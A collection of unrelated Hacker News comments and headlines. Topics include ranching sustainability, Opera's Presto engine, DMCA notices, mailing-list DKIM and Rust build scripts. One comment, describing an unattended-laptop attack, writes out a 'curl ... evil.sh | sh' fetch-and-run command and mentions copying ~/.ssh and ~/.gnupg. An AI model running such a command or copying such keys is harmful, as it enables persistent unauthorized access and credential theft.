skysight-inc/HackerNews huggingface dataset:
"buried lede"

Gah. Thanks.

Okay, I no longer know what we're arguing about. Topic drift.

OP [Chris Newman] says comparing "organic" to "conventional" farming is apples to oranges and that a particular critic [a commenter on his blog?] is omitting too much from his argument, that conventional isn't sustainable either.

We somehow got to...

"Raising cattle on these lands does not necessarily consume any water, food, or arable land that would be productively used otherwise."

I know of no example of that being the case. I'll re-search when I circle back to this issue (that advocacy stuff I mentioned). The "sustainable" ranches I've looked at are less impactful, but still not sustainable. Also, you omitted "impact on other species and ecosystems" from your definition.

The closest I can think of are the sheep left to their own to over winter in New Zealand and brought in for slaughter. The valleys keep them contained.

I've seen serious proposals for switching to bison, because they do less harm than cattle (bite off food rather than pull up), but I haven't followed up. But even then bison will destroy riparian and wetlands habitat. Maybe use drones? Or pay for more cowboys? Or get comfortable with more predators also on the range? I dunno.

In a separate comment:

"I agree with you on most of your points including that grass-fed beef is not sustainable at the current rate of consumption, but that does not mean that it isn't sustainable at a lower rate of consumption / higher price."

Okay.

I wrote about vat grown meat and ranching becoming a niche source of protein.

"Even if all of this comes to pass, why will the resulting ranching industry be unsustainable?"

Well. We might be close in opinion here.

I ask myself "What would sustainable look like?" (As productive as What is art? What is morality?)

Sustainable means:

#1 Given best available science, what accounting system measures everything important, no externalities?

#2 What is the fair market price for resources and services consumed and accrued?

I honestly don't know how to get from where we are to something sustainable. In sum, all of our activity is exceeding the current carrying capacity of our earth. And we lie to ourselves about how much stuff costs.

"...what are the practices that will allow animals to continue to exist in nature, with humans as one of their predators?"

Husbandry or hunting? No matter...

Nature's gone. It's now garden earth, where we actively manage the whole thing, intentionally or not.

Aside:

Else where you mention the necessity of manure for farming. Huh.

You assume some level of sustainable ranching is possible. Whereas I assume farming without manure is possible (and desirable).
I found your introduction exciting, until I realized you were only just joking about the real-world.

Well, regarding a state-level actor being able to create arbitrary balances in secret: I specify only forfeiture, not creation.

In essence each state to which someone checks their allegience should be allowed to remove (as punishment or following whatever rule of law process is in place there) whatever they want from any of their citizens' accounts.

This would at least allow some recourse against illegal activities. Yes, the involvement of the respective governments' legal systems is obviously a given.

The difference between this and banking is that banks don't operate a distributed monetary network anyone can join and transfer coins among without any fee: on the contrary, banking infrastructure is cumbersome.

The required scheme has the goal of allowing governments to intervene directly. Otherwise it would be like bitcion. Also the onerous proof of work blockchain work requirement is lifted.

However the mathematics and trade-offs to make this work are not obvious. Hence my Ask HN. Thanks for your response.
As somebody with synaesthesia this doesn't really sound related, my synaesthesia is basically that there is something intrinsically mustard yellow about the number 4 and something red about the letter k (and words that start with k). That doesn't mean I see 4s as yellow or words that begin with k are red in a book it just means when I think about them they have that color. This on the other hand seems much more direct, almost more like the holywood version of synaesthesia.
> Can you be more specific?

Sure: often using shorts where other browsers used ints, using floats where others used doubles, or even using ints where others used doubles (back when much of that code was written, Presto was far more concerned about performance on devices without FPUs than other browsers). All of this could easily be observed through layout and scripting, and much of it led to many of the hardest to tackle site compatibility bugs that were ultimately never fully fixed (and most never had any fix shipped). `z-index` was a pain point, as was the use of ints for all percentages in CSS.

> How many people I could track down who worked on opera 12 and now vivaldi? None.

Almost all those who are listed at https://vivaldi.com/team/ worked on either Presto-based Opera Desktop or Presto itself (which were, post Presto being a thing, distinct teams). Heck, Yngve was literally the first person aside from their founders to work on Opera, and owned the much of the network code in Presto till near the end; Petter I think was the only other person to have worked for over 20 years at Opera, having worked on the Desktop browser for the majority (all?) of the time.

If my memory is correct, the names in the source-tree were module owners and module QA, which amounts to a fraction of the number of people involved (esp. historically: those who had moved on to other things or whatever you're unlikely to find by name in the source tree). At any given point there was maybe a quarter of the current team with names anywhere in the source tree… and that's only considering Presto. Desktop had an even smaller ratio, as far as I'm aware.

If you looked in the ES engine, I'm pretty sure my name should be there as the module QA (though I'm not sure this will be true at the point desktop 12.1x forked). So, uh, I might know the people involved and know their employment history… Very few people from the old Core department (that worked on Presto) remain at Opera, maybe 20% at absolute most, and AFAIK mostly left voluntarily.

As for those you listed, half of them joined relatively late on, and not that long before the move to WebKit (announced Feb 2013). And Dave Rune isn't a person, I presume you're potentially mixing Dave Vest and Rune Lillesveen?
US sues JP Morgan accusing racial discrimination on mortgage loans
I don't see this guy working in IT again
The author made that connection: "the Obama administration was ordering they be wiped away."

I haven't seen any followup on this story. Liberal media seems to have ignored it entirely, conservative media reports it without further details.

The author, Philip Haney, has been a vocal critic, appearing on Fox and writing numerous articles, so there's been ample opportunity for the Obama administration to respond if there was indeed an explanation such as you suggest, but I haven't seen any response.
It makes good security sense to change Alexa's name – here's how
Blockchain is used for deposits/withdrawals only. Actual trading is happening within exchanges with their own order matching engines, outside the blockchain.

I.e. blockchain operates analogously to bank transfers. They are even slower, but they are not used for trading, only for funding and settlement.
Last I heard was that the past Android version of chatsecure was being abandoned. Conversations would become the new Android client. Any future work on the original Android chatsecure will go to the Zom project:

* https://github.com/zom/zom-android
There is no equivalency between deleting criminal justice records, which should and normally do remain private unless used in a court of law, and removing information that's been released the public sphere.
This is old and they didn't even touch on the most useful thing in Java 8 ConcurrentHashMap which is computeIfAbsent.
I really like the concept of this app, can you explain how the app determines whether an article is good or bad news?
I can see you complaining, very strongly, but wouldn't it be better provide some kind of constructive feedback.
I think his issue with the word fast (and mine) is that collectively calling them "fast" lanes instead of "passing" lanes is part of the problem. Then you have incognizant drivers thinking "I drive fast, this lane must be for me"
Doesn't seem too painful to me. They're basically just asking for an email with all the stuff that's legally required to be in a DMCA notice.

Here's what the DMCA requires[1]:

(i) A physical or electronic signature of a person authorized to act on behalf of the owner of an exclusive right that is allegedly infringed.

(ii) Identification of the copyrighted work claimed to have been infringed, or, if multiple copyrighted works at a single online site are covered by a single notification, a representative list of such works at that site.

(iii) Identification of the material that is claimed to be infringing or to be the subject of infringing activity and that is to be removed or access to which is to be disabled, and information reasonably sufficient to permit the service provider to locate the material.

(iv) Information reasonably sufficient to permit the service provider to contact the complaining party, such as an address, telephone number, and, if available, an electronic mail address at which the complaining party may be contacted.

(v) A statement that the complaining party has a good faith belief that use of the material in the manner complained of is not authorized by the copyright owner, its agent, or the law.

(vi) A statement that the information in the notification is accurate, and under penalty of perjury, that the complaining party is authorized to act on behalf of the owner of an exclusive right that is allegedly infringed.

[1] https://www.law.cornell.edu/uscode/text/17/512
It's not free.
VISUAL STUDIO 2017 RC LICENSE KEY
The biggest mistake I see in implementations of open office plans is work areas that are too small. The open office works best when it feels spacious and customizable, not cramped and fixed. Desks and whiteboards on wheels, choice of standing/sitting, and room for teams to self organize is fun and productive. The shoulder-to-shoulder seating at rows of fixed workstations common in off-the-shelf open plans is what's oppressive. In short, if a company is moving to an open floor plan to save on real estate, then they're doing it wrong.
Just sharing a small side project that I built to solve one of the problems that I face a lot of time. We use Slack a lot and we are available there most of the time. So, just thought of creating a KEY VALUE type of store where we can store any kind of information against a short name and get it back when we need. All values are stored encrypted. The saved values can be both private to you as well as public for every one in the team. Give it a try and let me know what you feel!

Cheers!
That's expensive and doesn't scale for most companies
"After leaving my 15 year career at DHS, I can no longer be silent about the dangerous state of America’s counter-terror strategy, our leaders’ willingness to compromise the security of citizens for the ideological rigidity of political correctness—and, consequently, our vulnerability to devastating, mass-casualty attack."

Both are stories about deleting information that doesn't fit a political agenda.

There's an option between releasing and deleting information about suspected terrorists.

Unless you're saying the suspected terrorists were cleared? If so, what's your source?
A data breach investigation, blow-by-blow
Lyra: a platform for deep, meaningful conversations with people you care about
In today's fast-moving world, it can seem that words are being replaced by images, memes and clickbait. Lyra is a communication service which values language, authenticity, and messages written by people you care about.

Lyra offers rich, deep, powerful tree-based conversations which value the messages you take time to write.

hellolyra.org
Shouldn't any charity be based on ethics, part of which is paying honest competitive market salary? Underpaying idealistic developers is a form of abuse.
It’s Lonely Over Here (2010)
Lyra: a platform for deep, meaningful conversations with people you care about
Think its suffering from the HN effect - out of resources for me.
If the mailing list changes the From address, then the message won't show the correct author in the message list in my email client. Replying may work (because of Reply-To:), but not having the correct "From" in the client is really a deal breaker.

Besides, DKIM already solved this problem by not caring where the mail comes from, just that the message was signed. It seems the solution to me is to stop using SPF if you want to use mailing lists.
Error 508. Resource Limit Is Reached
People generally refer to that as 'retiring'; financial independence usually means, "don't need to ask parents for small loans/handouts".
Make sure your IT guy registers the account in the business name, and not yours. That's the crux of the issue. It's like putting your real estate agents name on the deed to your house instead of yours.
>near impossible

Check the link rel canonical tag. Obviously not ideal but nowhere near "impossible"
Is it though? It seems to boil down to "as every other collection ConcurrentHashMap got HOFs/Stream extensions, with the twist of parallelism hints". Respectfully, that's a bit thin to build an article on 3 years old features.
Creativity Inc is a great book and I also wish I worked for Ed Catmull when I finished it. Didn't somebody have an illicit backup copy of most of it and they were able to get most of what they needed back from that?
Anecdotal, but when I left my last big law firm (to start my own company), I was making around 3/4 million dollars per year. None of my peers who left ever went to jobs that paid more--they all went "in house" for a lot less money and maybe some moonshot equity, but mainly they sought a less horrible lifestyle.
The Circle of Fifths (and how to use it)
Remember how loud Obama screamed when the CIA "lost" that torture report.

Oh wait. He was silent on that one.

Both parties love secrets. If the public knew what they were up to they would all be out on their asses next election cycle.
It says 'No, not unless you provide us permission to do so.'

How is permission provided? I mean I don't foresee people calling up Amazon and saying hey dataset 2001-G yeah you have permission to use that to train on!

So I guess I would expect Amazon to ask you when you submit your training data, and how do they ask you. Is it opt-in or opt-out and so forth. I would expect them to make it easy to share the data with them, and difficult to opt out.
With transmission you can actually select or deselect individual files.
> you can activate a fresh install with the key that's stored in the laptop (in ACPI tables IIRC).

Free tool we developed to quickly grab that key: http://neosmart.net/OemKeyTool/
The New York Times Vision of What the Future Looks Like
I've given up on my dev dept. I'm sitting in the finance dept.
Even disregarding the cringeworthy stock photo, this article is horribly written and the subject uninteresting. Of course this happens all the time.
What about trying to hire people below or beside you, while trying to step up into management but keep coding when it's fun and rewarding?
What you found are just bugs. But their main point is indeed security - compared to say simplenote. Here everything is indeed encrypted and they have no way of reading our data
Tim Draper keeps defending Theranos
I would like to recommend this book[0]. By reading this book, you will be able to grok C. You'll learn how your C programs interact with the hardware. Learn about the stack and how it is used in calling functions. Learn about pointers and how it is represented in assembly language. Learn how arrays in C and how it is accessed in memory. And many more! I keep recommending this book because this had enlightened me in understanding how computers work and I wouldn't get tired of recommending this. If you read just half of the book, you'll gain confidence especially during coding interviews. This was my experience though. Believe me.

[0] - https://www.amazon.com/Assembly-Language-Computer-Architectu...
I read the article and both of your comments but it didn't happen for me. I feel left out now.
Giant Mystery Wave Spotted in Atmosphere of Venus
As a listener I want ok audio, this means:

- low noise enviroment

- mic placed as close as you can without pops or much change in the distance. (just try it a bit to find what soudns best). For multiple people: make sure they are all the same distance and angle to the mic.

- run it through a modest compressor once

I guess the kind of mic etc is not even that important.
Which email client is that? Presumably, this could be fixed (well, worked around) there.
Why not? The from: address would be the mailing list address, but the from: name could be the original poster's name.
Java has really come a long way. I'm not sure why it's not hyped more. I guess it's like C++ (another widely used old man's language that runs the world).
I'm not sure if open sourcing the data is absolutely necessary to reproduce the results given access to the prediction API. "Stealing Machine Learning Models via Prediction APIs" (https://arxiv.org/abs/1609.02943) examines techniques in this space. The API might also be used in adversarial training. The underlying data would be useful for advancing research, but not necessarily a prerequisite for reproducing the API.

AWS wins not because they have created an impenetrable black box, but because the economics of reverse engineering (and maintaining) are not cost effective for the majority of users.
> Would have been much better if you could tell it the dependencies instead of having to use yet another make clone (and a bad one at that) though.

It's not intended to be used like make, with lots of shell scripts in a Makefile.

Instead, you write all the actual build code for a given task once, and package it in a Rust crate, which can then be pulled as a build-time dependency.

So, for example, there's a cmake crate (https://docs.rs/cmake/0.1.20/cmake/) that handles any project using cmake. If you just have one of two glue files written in C, you use the gcc crate (http://alexcrichton.com/gcc-rs/gcc/index.html), which—despite the name—can also handle other C compilers on other platforms. And if you need to generate code for a perfect hash function, you use phf (https://docs.rs/phf_codegen/0.7.20/phf_codegen/). And so on. If you run into some other kind of common pattern across many projects, just write and publish another crate, and call it from build.rs.

These libraries typically do a lot of work to handle things like cross-platform compatibility.

If you already assume the programmer (1) knows Rust, and (2) might be running on either Linux, MacOS or Windows, this sort of interface is much more convenient than requiring them to get Makefiles and shell scripts working, and to handle per-platform compiler invocation issues, etc.
Surely many of us have thought about how this is a very doable thing. Many of my coworkers often leave their laptops unlocked, unattended when they head for coffee or otherwise. Nothing stops me from running a quick command, forever allowing me access at any time the machine is on (it's only one `$ curl https://myhost.sh/evil.sh| sh` away. Or just copying their ~/.ssh (and maybe ~/.gnupg)).

After having either shell access or copying those files, adding stuff to the code base in their names is trivial.

Of course we don't do it, but it surprises me how uncommon it is. Must be human being are in general not assholes.

Strangely, my non-programmer friends are surprised when I explain how one would do that, if they allowed me to run any code on their machine.
Oh, it does save the password.

Oauth makes sense that there's no password saved. A unique key is saved which is authenticated with Google. If this key leaks, you are hosed, too, but at least you can revoke that key.

I tried grep mypasswd ~/.nylas-mail/* and grep said Binary file shared.sqlite matches. This did not occur in ~/.nylas it makes sense and it is inevitable, a client like Thunderbird suffers from the same.

It can be circumvented by saving the password encrypted and decrypting it using a master password. That is akin to how LastPass and Mozilla save their cloud data.

Using containers etc would also lower the threat.

In a way its good the password is saved locally. The engine also runs locally. It moves the threat model to the client, away from Nylas servers. Kudos.
Well... I believe depression is actually quite normal, everyone experiences depression (not to confused with sadness) at some stage or other.

What is not normal is sitting in front of some app, taking micro doses of LSD and 'meditating' in some stereotyped new-age fake-hipster-American way.

For normal depression for normal people it is possible to meditate without the LSD and the feigned posture. What you do is you go outside the front door and walk, ride a bike, go for a jog or go for a swim. Sure these normal activities do not have the pretence of the believe system that goes with mindful-LSD-taking but, for normal people with normal depression (including the suicidal thoughts), normal healthy activities can help too, e.g. a gentle stroll with no funny meds needed.
So what did LKML end up doing?

Edit: given the Ts'o response above I guess they enforce the sender to not have DMARC.

"There are people with google.com addresses that need to use non-Google
addresses in order to participate on the Linux Kernel Mailing List."

See also: https://www.ietf.org/mail-archive/web/dmarc/current/msg03236...
> You'd be right that is not the direct result of mindfulness or meditation

> Vipassana retreat enforces a no drugs an no medication policy it can occur

This is exactly the point I've been making, that the meditation itself is not to blame for these issues.

Thanks for the other links, I shall read them.

Regarding Qigong: https://en.wikipedia.org/wiki/Qigong#Safety_and_cost
My recollection of the details is lacking but this jives with what I remember about a talk I attended by a Pixar sysadmin. I think there was only a couple slides about it since it was just one part of a "journey from there to here" presentation about how they managed and versioned large binary assets with Perforce.

There are other anecdotes online about this catastrophic data loss and backup failure but I think it was, funny enough, the propensity for some end users of Perforce to mirror the entire repository that saved their bacon. I say funny because this is something a Perforce administrator will generally bark at you about since your sync of this enormous monolithic repo would be accompanied by an associated server side process that would run as long as your sync took to finish and thanks to some weird quirks of the Perforce SCM long running processes were bad and would/(could?) fuck up everyone else's day. In fact I think a recommendation from Pixar was to automatically kill long running processes server side and encourage smaller workspaces. Anyway, I digress. They were able to piece it together using local copies from certain workstations that contained all or most of the repo. Bad practices ended up saving the day.
Like most of these, that's part of Map in general.
Thunderbird. I suspect most clients operate this way.
We just switched to GoCD. And here I thought Jenkins sucked.

I've never missed simple shell scripts, builds triggered by commits, tailing logs so much. Being closer to the metal. Back then, I had no idea the obvious solution was called "continuous integration".

GoCD has a pretty dash board though. So I guess that's progress.
> A company once invested more than an year developing a feature, which was rolled back in 1 day after users complained.

Hah! I know that all too well. Great work!